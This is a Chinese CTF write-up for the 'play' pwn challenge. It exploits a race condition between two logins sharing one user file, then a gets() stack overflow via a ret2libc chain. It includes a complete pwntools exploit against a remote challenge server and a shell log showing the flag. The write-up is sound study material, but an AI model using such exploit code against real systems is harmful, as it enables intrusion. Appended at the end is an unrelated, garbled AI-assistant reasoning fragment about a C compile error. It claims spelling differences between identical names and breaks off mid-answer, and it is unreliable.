攻防世界PWN play 条件竞争漏洞的利用

本文介绍了一个名为PWN-play的游戏程序中的多个漏洞利用过程,包括条件竞争漏洞和缓冲区溢出漏洞。通过分析程序结构及技能机制,利用双进程技巧叠加技能值,最终触发缓冲区溢出并获取shell。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

攻防世界PWN-play漏洞利用思路

检查保护机制

healer@healer-virtual-machine:~/Desktop/play$ checksec play
[*] '/home/healer/Desktop/play/play'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
healer@healer-virtual-machine:~/Desktop/play$ readelf -h play
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Intel 80386
  Version:                           0x1
  Entry point address:               0x8048780
  Start of program headers:          52 (bytes into file)
  Start of section headers:          12104 (bytes into file)
  Flags:                             0x0
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         9
  Size of section headers:           40 (bytes)
  Number of section headers:         31
  Section header string table index: 28

漏洞分析

存在溢出漏洞的函数

int vul_func()
{
  char s; // [esp+0h] [ebp-48h]

  printf("what's your name:");
  gets(&s);        // 存在溢出漏洞
  return printf("ok! %s ,welcome\n", &s);
}

下面这个函数调用了上面的vul_func()

int attack()
{
  ···
  result = *(_DWORD *)(gMonster + 8);      // 此处取值如果小于0可执行至下面的分支
  if ( result <= 0 )
  {
    puts("you win");
    if ( *(_DWORD *)gMonster == 3 )
    {
      puts("we will remember you forever!");
      vul_func();
      release_all();
    }
    puts("slave up");
    level_up();
    result = init_monster(*(_DWORD *)gMonster + 1);
  }
  return result;
}

要执行到对应漏洞函数有两个条件需要满足

  • *(_DWORD *)(gMonster + 8) <= 0
  • *(_DWORD *)gMonster == 3

通过分析总结出有以下结构体:

struct Hero
{
    DWORD a;
    DWORD round_times;    // 回合数,每攻击一次加一
    DWORD hp_value;       // Hero血量
    DWORD a2;
    char * Hero_name;  //char[40]
    g_hero_kill_type * g_hero_kill_type;   //point to  skill
};
struct Monster
{
    DWORD b;
    DWORD round_times;    // 回合数,每攻击一次加一
    DWORD hp_value;       // Monster血量
    DWORD b2;
    char * Monster_name;   //char[40]
    g_monster_skill_type * g_monster_skill_type;
};
Hero_list[5] = [....]   // 对应5种技能
struct Hero_skill
{
    DWORD attack_value;           // 技能伤害值
    DWORD defence_value;          // 技能防御值
    char * skill_name;            // 技能名称
    char * skill_detial;          // 技能细节信息
    DWORD hide_methods_value;     // 隐藏攻击伤害加成
};
Monster_list[5] = [....]   // 对应5种防御与方法
struct Monster_skill
{
    DWORD attack_value;           // 技能伤害值
    DWORD defence_value;          // 技能防御值
    char * skill_name;            // 技能名称
    char * skill_detial;          // 技能细节信息
    DWORD hide_methods_value;     // 隐藏攻击伤害加成
}; 
// 攻击技能的分析与防御技能的分析参见下文的内存截取部分

HeroMonster的技能清单

# 这部分是Hero的
.data:0804B0C0 public g_hero_kill_type
.data:0804B0C0 g_hero_kill_type dd 19h                 ; DATA XREF: init_new_db_file+61↑o
.data:0804B0C0                                         ; healer:F7FC7050↓o
.data:0804B0C4 dd 0Ch
.data:0804B0C8 ; _DWORD off_804B0C8[30]
.data:0804B0C8 off_804B0C8 dd offset aDdosAttack       ; "DDOS Attack"
.data:0804B0CC dd offset aDistributedDen               ; "Distributed Denial of Service"
.data:0804B0D0 dd 8
.data:0804B0D4 dword_804B0D4 dd 5
.data:0804B0D8 dd 1
.data:0804B0DC dd offset aOverflowAttack               ; "Overflow Attack"
.data:0804B0E0 dd offset aCanaryAndNxAre               ; "Canary and NX are being bypassed"
.data:0804B0E4 dd 20h
.data:0804B0E8 dd 0
.data:0804B0EC dd 46h
.data:0804B0F0 dd offset aMiddlemanAttac               ; "Middleman Attack"
.data:0804B0F4 dd offset aListeningToHos               ; "Listening to host and forwarding"
.data:0804B0F8 dd 0
.data:0804B0FC dd 8
.data:0804B100 dd 37h
.data:0804B104 dd offset aPenetrationAtt               ; "Penetration Attack"
.data:0804B108 dd offset aPermeatingThro               ; "Permeating through social engineering"
.data:0804B10C dd 5
.data:0804B110 dd 64h
.data:0804B114 dd 0C8h
.data:0804B118 dd offset aDdosAttack                   ; "DDOS Attack"
.data:0804B11C dd offset aIHaveBotnet                  ; "I have botnet"
.data:0804B120 dd 3E8h
···
# 下面是Monster的
.data:0804B140 public g_monster_skill_type
.data:0804B140 g_monster_skill_type dd 0Ah             ; DATA XREF: [heap]:0817E058↓o
.data:0804B144 dd 0Ah
.data:0804B148 dd offset aDistributedDef               ; "Distributed Defense"
.data:0804B14C dd offset aLoadBalancingI               ; "Load balancing is being carried out"
.data:0804B150 dd 0Ah
.data:0804B154 dd 1Eh
.data:0804B158 dd 0Fh
.data:0804B15C dd offset aRedundantDefen               ; "Redundant Defense"
.data:0804B160 dd offset aStartUpAStandb               ; "start up a standby system"
.data:0804B164 dd 0Fh
.data:0804B168 dd 32h
.data:0804B16C dd 14h
.data:0804B170 dd offset aHidsDefense                  ; "HIDS Defense"
.data:0804B174 dd offset aDetectionOfInt               ; "Detection of intrusion attacks"
.data:0804B178 dd 1
.data:0804B17C dd 50h
.data:0804B180 dd 1Eh
.data:0804B184 dd offset aInitiativeDefe               ; "Initiative Defense"
.data:0804B188 dd offset aScanningTheAbn               ; "Scanning the abnormal data in the netwo"...
.data:0804B18C dd 0Ah
.data:0804B190 dd 64h
.data:0804B194 dd 0C8h
.data:0804B198 dd offset aDdosDefense                  ; "DDOS Defense"
.data:0804B19C dd offset aIHaveMoney                   ; "I have money"
.data:0804B1A0 dd 3E8h

通过调试,理解程序的功能,第一个重要函数

attack()攻击函数

感觉题目还是要把整个函数分析明白才能更好的进行后面的步骤,关键步骤的分析参见注释

int attack()
{
  int result; // eax
  int v1; // [esp+10h] [ebp-18h]
  int v2; // [esp+14h] [ebp-14h]
  int v3; // [esp+18h] [ebp-10h]
  int v4; // [esp+1Ch] [ebp-Ch]

  ++*((_DWORD *)gHero + 1);      // 回合数加一
  ++*(_DWORD *)(gMonster + 4);     // 回合数加一
  hero_recovery();     // 血量恢复,少量回血,数量未知
  mon_recovery();      // 血量恢复,少量回血,数量未知
  printf("%s display:%s\n", (char *)gHero + 16, *(_DWORD *)(*((_DWORD *)gHero + 20) + 12));   // 展示Heor携带的技能
  printf("%s display:%s\n", gMonster + 16, *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 12));     // 展示Monster携带的技能
  v2 = **(_DWORD **)(gMonster + 80);       // 获取Monster的技能伤害值
  v1 = *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 4);     // 获取Monster的技能防御值
  if ( *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16) && *(_DWORD *)(gMonster + 4) > 4 && rand() % 3 == 1 )   
  {
    *(_DWORD *)(gMonster + 4) = 0;
    v1 += *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16);
    v2 += *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16);
  }
  v4 = **((_DWORD **)gHero + 20);       // 获取Hero的技能伤害值
  v3 = *(_DWORD *)(*((_DWORD *)gHero + 20) + 4);     // 获取Hero的技能防御值
  if ( *(_DWORD *)(*(_DWORD *)(gMonster + 80) + 16) )
  {
    printf("use hiden_methods?(1:yes/0:no):");
    if ( read_int() == 1 )
    {
      v3 += *(_DWORD *)(*((_DWORD *)gHero + 20) + 16);     // 给Hero加上技能隐藏伤害属性
      v4 += *(_DWORD *)(*((_DWORD *)gHero + 20) + 16);     // 给Hero加上技能的隐藏的防御值,与伤害值的隐藏量是相同的
    }
  }
  if ( v3 < v2 )    // 如果Hero的防御值小于Monster的攻击值
    *((_DWORD *)gHero + 2) -= v2 - v3;   // Hero掉血
  if ( v1 < v4 )    // 如果Monster的防御值小于Hero的攻击值
    *(_DWORD *)(gMonster + 8) -= v4 - v1;  // Monster掉血
  if ( *((_DWORD *)gHero + 2) <= 0 )    // 如果本轮结束后Hero的血量小于0
  {
    puts("you failed");    // 提示游戏失败
    *((_DWORD *)gHero + 2) = 0;
    release_all();
  }
  result = *(_DWORD *)(gMonster + 8);      // 获取Monster的血量
  if ( result <= 0 )     // 如果Monster的血量小于0
  {
    puts("you win");     // 提示获胜
    if ( *(_DWORD *)gMonster == 3 )    
    {
      puts("we will remember you forever!");
      vul_func();
      release_all();
    }
    puts("slave up");
    level_up();
    result = init_monster(*(_DWORD *)gMonster + 1);
  }
  return result;
}

attack函数的功能大致上就是实现了游戏的场景,开始攻击之后,HeroMonster各携带一种技能,每一种技能都有同样的结构类型,参见前面的结构体部分,两人的技能都带有自己的防御值和攻击值,Monster先发起攻击,如果Hero的防御值小于Monster的攻击值,Monster的攻击值减去Hero的防御值剩余的攻击值就是Hero的掉血量,反之也是如此

run_away()函数

int run_away()
{
  *(_DWORD *)(gMonster + 4) = 0;    // Monster回合数清零
  ++*((_DWORD *)gHero + 1);       // Hero回合数加1
  hero_recovery();
  return mon_recovery();
}

回血

int __cdecl recovery_hp(int a1, int a2)
{
  int result; // eax

  *(_DWORD *)(a1 + 8) += *(_DWORD *)(a1 + 12);   // 回血的时候取结构体的第四个DWORD作为每次的少量回血
  result = *(_DWORD *)(a1 + 8);    // 取回血之后的血量
  if ( result > a2 )     // 如果现有血量大于最大值
  {
    result = a1;     
    *(_DWORD *)(a1 + 8) = a2;   // 血量只能是最大值
  }
  return result;
}

更换技能

int change_skill()
{
  int result; // eax
  signed int i; // [esp+Ch] [ebp-Ch]

  puts("you can use:");
  for ( i = 0; i <= 3; ++i )
    printf("%d: %s\n", i, off_804B0C8[5 * i]);    // 循环打印所有技能
  printf("choice>> ");
  result = read_int();
  if ( result >= 0 && result <= 3 )
  {
    result = 20 * result + 0x804B0C0;    // 设置被选择技能对应的指针
    *((_DWORD *)gHero + 20) = result;
  }
  return result;
}

初始化

void init()
{
  unsigned int v0; // eax
  char name; // [esp+0h] [ebp-48h]

  v0 = time(0);     // 取时间戳
  srand(v0);    // 以时间戳为种子取得随机数
  init_io();
  if ( access(manager_db, 0) && mkdir(manager_db, 0x1EDu) == -1 )
  // access(manager_db, 0) 判断文件是否存在 
  {
    perror("mkdir error");
  }
  else
  {
    chdir(manager_db);   // 进入临时文件manager_db所指向的目录
    while ( 1 )
    {
      printf("login:");
      read_buff((int)&name, 0x40, 10);   // 读取0x40个字符,或者遇到回车结束
      if ( (unsigned __int8)check_name(&name) )   // name合规检查
        break;
      puts("bad name");
    }
    if ( access(&name, 0) )    // 如果文件不存在
    {
      puts("welcome to the system!");  // 表示欢迎
      init_new_db_file(&name);   // 初始化文件
    }
    else
    {
      puts("welcome back to the system");  // 表示欢迎回来
    }
    init_db(&name);   // 初始化文件
    gMonster = (int)malloc(0x54u);   // 为monster创建堆空间
    init_monster(0);    // 初始化Monster
    init_hero();    // 初始化Hero
  }
}

文件向内存映射

void *__cdecl init_db(char *file)
{
  int v1; // eax
  void *result; // eax

  v1 = open(file, 2);    // 打开hero名称的文件
  gfd = v1;   
  result = mmap(0, 0x1000u, 3, 1, v1, 0);    // 将文件内容映射至内存中
  gHero = result;    // 映射区域的起始地址为hero的结构体开始位置
  return result;
}

总结

按照程序的题目文件给出的提示,这是一个小游戏,运行之后会要去输入用户名,输入的用户名作为文件名在/tmp/db_dir/路径下创建一个对应的文件,记录用户的信息,即Hero结构体,小游戏主要功能就是HeroMonster,英雄打怪兽的故事,每一轮英雄与怪兽都能够携带一种技能,技能都具有自己的攻击值和防御值,各攻击一次,然后对应的掉血或者免受伤害,细节参见代码分析。分析HeroMonster的技能发现,在MonsterPLCSCADA时可以通过正常的方法,把它打败,但是当变成HMI开始就无法通过提供的四个技能正常的打败怪兽了,但是有漏洞的函数需要打败HMICNC之后才可以执行,因此为了能够打败Monster需要寻找其他的能够打败Monster的方法。

关于同一用户名,映射同一片内存区域的疑问

在这里插入图片描述

上图中可以发现两个进程断下来之后发现,进程中同一用户名healer下的Hero信息并没有映射在同一片内存区域

但是,对一片内存的更改会作用到另一个进程的内存区域中去

在这里插入图片描述

此处留一个疑点,初步判断是mmap()函数映射进来的数据在另一个地方,这两个进程拿到的都是副本,对一个副本的修改会作用到其他副本上

条件竞争漏洞利用

条件竞争类型的漏洞,通过开启两个进程,登陆同一个用户名,可使两个进程指向相同的临时文件,即代表挑战者的Hero文件,要想打败Monster的前两个PLCSCADAHero使用技能0即可击败,难点在于后两个HMICNC,正常情况下测试发现Hero的所有技能均无法击败Monster,如果利用条件竞争漏洞可使得Hero后面的两个防御值高的技能叠加上前面隐藏攻击量为0x20的技能,即可抵御Monster的进攻,并对Monster造成一定的伤害,并最终可取的胜利。

利用脚本:

change_methods(io1,0)

for i in range(6):
    attacking(io1)
    use_hide(1)

for i in range(33):
    log.info("Attack {} times".format(i))
    change_methods(io1,3)
    attacking(io1)
    change_methods(io2,1)
    use_hide(1)

缓冲区溢出漏洞利用

结合前面的打败Monster之后,便可以进入到缓冲区溢出函数的部分,回到常规的缓冲区溢出类型题目的方法上

首先,由于是32位程序,函数调用时传递参数是通过栈空间传递的,不需要控制寄存器,不用构造ROP链来攻击,相对比较好操作一点,直接利用栈溢出漏洞,填充数据为:

payload = b"s"*0x48 + b"aaaa" + p32(puts_plt) + p32(vuln_fun) + p32(puts_got)

由于需要泄漏函数的地址,然后再利用泄漏的地址计算出system函数的地址,以及/bin/sh字符串的地址,所以缓冲区溢出漏洞需要利用两次,上面的payload用于泄漏信息,下面的payload用于执行system("/bin/sh")函数

payload = b"c"*0x48 + b"aaaa" + p32(system_addr) + b"beef" + p32(bin_sh)

漏洞利用脚本

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# context.terminal = ['tmux','splitw','-h']

io1 = remote("111.200.241.244",50800)     # 111.200.241.244:61116

# io1 = process("./play")
elf = ELF("./play")

# libc = ELF("./libc-2.31.so")
context(arch = "i386", os = 'linux')
io1.recvuntil("login:")
io1.sendline("healer")

# io2 = process("./play")
io2 = remote("111.200.241.244",50800)

io2.recvuntil("login:")
io2.sendline("healer")

def attacking(io):
	io.recvuntil("choice>> ")
	io.sendline("1")

def use_hide(choice):
	io1.recvuntil("use hiden_methods?(1:yes/0:no):")
	io1.sendline(str(choice))

def change_host(io):
	io.recvuntil("choice>> ")
	io.sendline("2")

def change_methods(io,index_skill):
	io.recvuntil("choice>> ")
	io.sendline("3")
	io.recvuntil("choice>> ")
	io.sendline(str(index_skill))

change_methods(io1,0)

for i in range(6):
    attacking(io1)
    use_hide(1)

win_HMI = 0
for i in range(100):

    log.info("Attack {} times".format(i))
    change_methods(io1,3)
    attacking(io1)
    change_methods(io2,1)
    use_hide(1)
    if b"forever!\n" in io1.recv(40) :
        break


puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
log.success("puts_plt -> "+hex(puts_plt))
log.success("puts_got -> "+hex(puts_got))

# gdb.attach(io1,"b * 0x8049174\nb * 0x8048f25\nb * 0x8049080\nb * 0x8048f01")

vuln_fun = 0x8048EC7
io1.recvuntil("name:")
payload = b"s"*0x48 + b"aaaa" + p32(puts_plt) + p32(vuln_fun) + p32(puts_got)
io1.sendline(payload)
io1.recvuntil("welcome\n")
put_got_real_addr = io1.recv(4)
# put_got_real_addr = put_got_real_addr.ljust(b"\x00",4)
put_got_real_addr = u32(put_got_real_addr)
log.success("put_got_real_addr -> "+hex(put_got_real_addr))

obj = LibcSearcher("puts",put_got_real_addr)
libcbase = put_got_real_addr - obj.dump("puts")
system_addr = libcbase + obj.dump("system")  

bin_sh = libcbase + obj.dump("str_bin_sh")     # /bin/sh 

log.success("system_addr -> "+hex(system_addr))
log.success("bin_sh -> "+hex(bin_sh))

payload = b"c"*0x48 + b"aaaa" + p32(system_addr) + b"beef" + p32(bin_sh)
io1.recvuntil("name:")
io1.sendline(payload)

# change_methods(io1,4)

io1.interactive()


远程攻击效果

这题和别的不太一样的是拿到shell之后,路径并不在最开始的文件夹下,实际在/tmp/db_dir下,需要手动切换到/home/ctf路径下便可查看flag文件,一开始困惑了我一会儿,明明攻击成功,直接看flag的时候却没东西,汗!!!

[+] put_got_real_addr -> 0xf760c140
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
[+] system_addr -> 0xf75e7940
[+] bin_sh -> 0xf770602b
[DEBUG] Sent 0x59 bytes:
    00000000  63 63 63 63  63 63 63 63  63 63 63 63  63 63 63 63  │cccc│cccc│cccc│cccc│
    *
    00000040  63 63 63 63  63 63 63 63  61 61 61 61  40 79 5e f7  │cccc│cccc│aaaa│@y^·│
    00000050  62 65 65 66  2b 60 70 f7  0a                        │beef│+`p·│·│
    00000059
[*] Switching to interactive mode
[DEBUG] Received 0x66 bytes:
    00000000  6f 6b 21 20  63 63 63 63  63 63 63 63  63 63 63 63  │ok! │cccc│cccc│cccc│
    00000010  63 63 63 63  63 63 63 63  63 63 63 63  63 63 63 63  │cccc│cccc│cccc│cccc│
    *
    00000040  63 63 63 63  63 63 63 63  63 63 63 63  61 61 61 61  │cccc│cccc│cccc│aaaa│
    00000050  40 79 5e f7  62 65 65 66  2b 60 70 f7  20 2c 77 65  │@y^·│beef│+`p·│ ,we│
    00000060  6c 63 6f 6d  65 0a                                  │lcom│e·│
    00000066
ok! ccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccaaaa@y^\xf7beef+`p\xf7 ,welcome
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x7 bytes:
    b'healer\n'
healer
$ catflag
[DEBUG] Sent 0x8 bytes:
    b'catflag\n'
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
$ cd ..
[DEBUG] Sent 0x6 bytes:
    b'cd ..\n'
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x7 bytes:
    b'db_dir\n'
db_dir
$ cd ..
[DEBUG] Sent 0x6 bytes:
    b'cd ..\n'
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x5b bytes:
    b'bin\n'
    b'boot\n'
    b'dev\n'
    b'etc\n'
    b'home\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'media\n'
    b'mnt\n'
    b'opt\n'
    b'proc\n'
    b'root\n'
    b'run\n'
    b'sbin\n'
    b'srv\n'
    b'sys\n'
    b'tmp\n'
    b'usr\n'
    b'var\n'
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cd root
[DEBUG] Sent 0x8 bytes:
    b'cd root\n'
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
$ cd home
[DEBUG] Sent 0x8 bytes:
    b'cd home\n'
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
$ cd ..
[DEBUG] Sent 0x6 bytes:
    b'cd ..\n'
$ cd ..
[DEBUG] Sent 0x6 bytes:
    b'cd ..\n'
$ cd home
[DEBUG] Sent 0x8 bytes:
    b'cd home\n'
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x4 bytes:
    b'ctf\n'
ctf
$ cd ctf
[DEBUG] Sent 0x7 bytes:
    b'cd ctf\n'
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x29 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'play\n'
    b'run.sh\n'
bin
dev
flag
lib
lib32
lib64
play
run.sh
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{e1e152****************************3c3f15c07}\n'
cyberpeace{e1e152****************************3c3f15c07}

<think>根据错误信息,问题在于`play_manzai`变量未声明。在代码中,我们确实在`txTask`函数中声明并初始化了`play_manzai`数组,但可能由于作用域问题,在函数外部无法访问。但是,错误提示是在`freertos.c`文件的第552行,即`txTask`函数内部,所以应该是作用域内的问题。 查看代码,在`txTask`函数中,我们定义了`play_manzai`数组: const char play_manzai[] = {0x70,0x6C,0x61,0x79,0x20,0x30,0x2C,0x34,0x2C,0x30}; // 播放4号音频 然而,在同一个函数中,我们使用`play_manzai`的地方有两处: 1. 在满载播报循环中:`HAL_UART_Transmit(&huart6, (uint8_t *)play_manzai, sizeof(play_manzai), HAL_MAX_DELAY);` 2. 在垃圾识别播报的switch语句中,我们使用的是`play`数组(注意,这里不是`play_manzai`)。 错误信息指向第552行,而我们的代码中`txTask`函数很长,需要定位到第552行附近。 由于提供的代码中行号不匹配,我猜测可能是数组`play_manzai`在某个地方被误写成了`play_manzai`(注意下划线)?但根据错误信息,是`play_manzai`未声明,而我们在函数内已经声明了,所以可能是拼写错误。 检查代码发现,在`txTask`函数中,我们确实声明了`play_manzai`,但是注意在后面的代码中,我们使用了一个`while`循环来播放满载语音,其中使用了`play_manzai`。但是,在`txTask`函数中,我们有一个注释掉的代码块,其中有一个`if`条件语句,里面使用了`play_manzai`(在注释掉的代码中)。这个注释掉的代码中可能使用了`play_manzai`,但是因为被注释掉,所以不会造成问题。 因此,问题可能在于:在非注释的代码部分,我们使用了`play_manzai`,但是它的声明可能被移动到了后面?在C语言中,变量必须在使用之前声明。 在`txTask`函数中,我们首先声明了`play_manzai`,然后后面才使用它,所以顺序是正确的。 另一种可能性是:在`txTask`函数中,我们有一个很大的`for`循环,而`play_manzai`的声明在`for`循环内部?实际上,在`txTask`函数中,`play_manzai`的声明是在函数内部,但在`for`循环外部。所以,在`for`循环内部是可以访问的。 因此,我们需要检查具体的行号。由于错误信息是第552行,我们可以查看代码中第552行是什么。 由于我们无法直接看到行号,我们可以根据错误信息的位置提示,在代码中查找可能的问题。 在提供的代码中,`txTask`函数中有一行: const char play_manzai[] = {0x70,0x6C,0x61,0x79,0x20,0x30,0x2C,0x34,0x2C,0x30}; // 播放4号音频 然后,在后面的满载播报循环中,我们使用了这个数组。 但是,注意这个数组的声明后面没有结束符`0xFF,0xFF,0xFF`,而在发送时,我们单独发送了`end2`(即`0xFF,0xFF,0xFF`)。这样,如果串口屏要求每条指令以`0xFF 0xFF 0xFF`结束,那么我们需要将结束符合并到指令数组中,或者单独发送。 然而,这不会导致编译错误。编译错误是变量未声明。 重新审视错误信息:`error: 'play_manzai' undeclared (first use in this function)`,说明在函数中第一次使用`play_manzai`时,它没有被声明。 在`txTask`函数中,我们声明`play_manzai`的语句在代码的中间位置(在变量`num`和`manzaidata`等之后),但在使用`play_manzai`之前。所以,理论上不应该出现未声明的错误。 但是,请注意,在`txTask`函数中,我们有一个`for`循环,在循环内部,我们重新声明了一个同名的`play_manzai`数组?不,没有。 那么,唯一可能的解释是:在代码中,我们可能不小心在`play_manzai`的声明之前就使用了它。在`txTask`函数中,我们使用`play_manzai`的地方是在满载播报循环中,这个循环在`play_manzai`声明之后,所以不应该有问题。 因此,我们需要检查代码中是否还有其他地方使用了`play_manzai`?在`txTask`函数中,除了满载播报循环,还有一个注释掉的代码块,里面有一个`if`条件语句,其中使用了`play_manzai`。但是,注释掉的代码不会编译。 所以,问题可能是在非注释的代码部分,有一个地方在`play_manzai`声明之前使用了它?我们来看一下代码的结构: 在`txTask`函数中: 1. 声明了一些变量,包括`manzaidata`, `play`, `aa`, `start`, `end`, `end2`, 各种`data`数组,然后声明了`play_manzai`。 2. 然后进入`for`循环。 所以,在`for`循环内部,所有变量都已经声明,可以使用。 那么,错误信息指向552行,我们可以在代码中定位到552行。在提供的代码中,我们无法知道552行对应哪一行,但我们可以数一下行数(由于篇幅原因,这里不数)。 另一种可能性:在`txTask`函数中,我们重新声明了一个内部作用域的`play_manzai`,但拼写错误?或者在使用时拼写错误。 在满载播报循环中,我们这样使用: HAL_UART_Transmit(&huart6, (uint8_t *)play_manzai, sizeof(play_manzai), HAL_MAX_DELAY); 请检查这里是否拼写错误,比如写成了`play_manzai`(多了一个下划线)?实际上,我们声明的数组名是`play_manzai`,所以使用的时候也是`play_manzai`。 但是,错误信息是`play_manzai`未声明,而我们在代码中写的是`play_manzai`(注意:错误信息中的变量名是`play_manzai`,而我们声明的是`play_manzai`)?不,错误信息是`play_manzai`,而我们代码中也是`play_manzai`。 仔细看错误信息:`error: 'play_manzai' undeclared`,注意是`play_manzai`,而我们代码中声明的是`play_manzai`(多了一个字母'i')?不对,我们声明的是`play_manzai`,其中是`manzai`,不是`manzai`。 在代码中,我们声明的是: const char play_manzai[] = ... // 注意是`play_manzai`,其中`manzai`是“满载”的拼音 但是,在错误信息中,变量名是`play_manzai`,这显然是不同的。错误信息中的变量名是`play_manzai`,而我们声明的是`play_manzai`。所以,很可能是我们在代码中某处写成了`play_manzai`(少了一个字母'i')。 因此,我们在代码中搜索`play_manzai`(不带'i')的字符串。在`txTask`函数中,我们发现在满载播报循环中,我们使用`play_manzai`的地方写成了`play_manzai`?不,在代码中,我们是这样写的: HAL_UART_Transmit(&huart6, (uint8_t *)play_manzai, ... // 这里写的是`play_manzai`,正确 但是,错误信息是`play_manzai`未声明,说明编译器看到的是`play_manzai`(不带'i')。所以,可能是我们在代码中某处写成了`play_manzai`。 在代码中搜索,发现在注释掉的代码块中,有一处: // HAL_UART_Transmit(&huart6, (uint8_t *)play_manzai, sizeof(play_manzai), HAL_MAX_DELAY); 这里被注释了,不会编译。 那么,问题出在哪里?我们再看错误信息:第552行。在`txTask`函数中,我们有一个`for`循环,循环体内有一个`osSemaphoreWait`调用,然后进入一个`while`循环,其中有一行: HAL_UART_Transmit(&huart6, (uint8_t *)play_manzai, sizeof(play_manzai), HAL_MAX_DELAY); 这一行在代码中的位置大约在: 在提供的代码中,从`txTask`函数开始,我们数一下,大概在代码的第400多行(由于代码很长,不一定准确)。所以,错误信息552行可能位于后面。 在`txTask`函数后面部分,垃圾识别播报的switch语句中,我们使用了`play`数组,并没有使用`play_manzai`。 所以,我怀疑在代码中,我们可能不小心在某个地方写成了`play_manzai`,而这个地方在`play_manzai`声明之前。 仔细检查`txTask`函数,发现我们在`play_manzai`声明之前,有一个`const char play_manzai[] = ...`的声明,然后后面使用它。但是,在`play_manzai`声明之前,我们有一个`const char play_manzai[]`的声明吗?没有。 那么,唯一的可能是:在`txTask`函数中,我们有一个地方在声明之前使用了`play_manzai`?在声明之前,只有变量声明,比如`manzaidata`、`play`等,这些都没有问题。 因此,我建议将`play_manzai`的声明移到函数的最前面,确保在任何使用之前。 修改`txTask`函数,将`play_manzai`的声明放在函数体开头,紧接在变量`num`之后: ```c _Noreturn void txTask(void const * argument) { int num=0; // 提前声明play_manzai const char play_manzai[] = {0x70,0x6C,0x61,0x79,0x20,0x30,0x2C,0x34,0x2C,0x30, 0xFF,0xFF,0xFF}; // 播放4号音频,注意添加结束符 // 其他变量声明... const char manzaidata[]={...}; // ... 其他变量 ``` 这样,无论函数中哪一行使用`play_manzai`,它都已经声明了。 但是,错误信息指出是第552行,而我们将声明放在前面,那么552行肯定在声明之后,应该就没有问题了。 另外,注意我们之前提到指令格式问题,所以我们在`play_manzai`数组后面添加了结束符`0xFF,0xFF,0xFF`。 同时,在垃圾识别播报中,我们也应该使用带结束符的播放指令数组,并且修正播放指令数组的修改方式(例如,修改`play_cmd`数组的第7个位置为音频编号,然后发送整个数组)。 由于时间关系,我们主要解决编译错误。 如果按照上述修改后仍然出现同样的编译错误,那么请检查代码中是否有拼写错误,比如写成了`play_manzai`(少了一个字母)?或者在其他地方(比如函数外部)使用了`play_manzai`?在提供的代码中,只有`txTask`函数内部使用了`play_manzai`。 因此,请仔细检查代码,确保在使用`play_manzai`的地方,其拼写与声明一致,并且在使用之前已经声明。 如果问题仍然存在,请提供具体的552行代码内容,以便进一步分析。 由于错误是编译时发生的,我们可以通过调整声明位置和检查拼写来解决。 修改后的`txTask`函数中关于`play_manzai`的声明和使用: ```c _Noreturn void txTask(void const * argument) { int num=0; // 提前声明play_manzai const char play_manzai[] = {0x70,0x6C,0x61,0x79,0x20,0x30,0x2C,0x34,0x2C,0x30, 0xFF,0xFF,0xFF}; // 播放4号音频,添加结束符 const char manzaidata[]={0x74,0x30,0x2E,0x74,0x78,0x74,0x3D,0x22,0xC0,0xAC,0xBB, 0xF8,0xC2,0xFA,0xD4,0xD8,0x22,0xff,0xff,0xff}; // ... 其他变量声明 for(;;) { // ... 省略 ... // 在满载播报循环中使用play_manzai while(is_playing_manzai && uart2_rx.manzaijianche_en == 1) { osMutexWait(uart6MutexHandle, osWaitForever); HAL_UART_Transmit(&huart6, (uint8_t *)manzaidata, sizeof(manzaidata), HAL_MAX_DELAY); HAL_UART_Transmit(&huart6, (uint8_t *)play_manzai, sizeof(play_manzai), HAL_MAX_DELAY); // 这里使用play_manzai osMutexRelease(uart6MutexHandle); // ... 省略 ... } // ... 省略 ... } } ``` 这样修改后,编译错误应该消失。 另外,请注意,在垃圾识别播报部分,我们使用的是另一个数组`play`(或修改后的`play_cmd`),与`play_manzai`无关。 最后,由于我们修改了`play_manzai`数组(添加了结束符),请确保在满载播报时不再单独发送`end2`,因为指令已经包含结束符。 因此,在满载播报循环中,我们移除了单独发送`end2`的代码。 总结:编译错误是由于变量声明位置或拼写错误导致,通过将声明提前和检查拼写,应该可以解决。</think>### 编译错误分析与解决方案 #### 错误原因分析 错误信息 `error: 'play_manzai' undeclared` 表明编译器在 `freertos.c` 文件的第 552 行无法识别 `play_manzai` 变量。这通常由以下原因引起: 1. **变量作用域问题**: - `play_manzai` 在 `txTask` 函数内部声明,但尝试在函数外部访问 